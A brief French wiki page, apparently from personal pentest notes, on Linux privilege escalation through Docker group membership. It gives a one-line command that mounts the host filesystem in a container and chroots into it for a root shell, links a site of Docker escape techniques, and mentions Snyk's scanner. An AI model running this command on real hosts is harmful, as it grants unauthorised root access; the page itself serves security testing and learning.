

[Privesc/Linux] Docker

Introduction

Cette page décrit les techniques utilisées pour monter son niveau de privilège grâce à **docker**.



Techniques

Utilisateur dans le groupe docker

Si vous avez accès à un compte utilisateur appartenant au **groupe docker** et pouvant exécuter des commandes docker, vous pourrez créer un conteneur qui exécutera un *shell root* grâce à la

commande suivante :

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

Voici un site qui répertorie des techniques pour casser les sécurités de docker

- <https://www.hackitude.in/docker-security>

Snyk



Cet outil permet de trouver les vulnérabilités dans les conteneurs docker :

<https://github.com/snyk/cli>

Revision #5

Created 31 October 2023 14:29:09 by Elieroc

Updated 6 May 2024 20:35:42 by Elieroc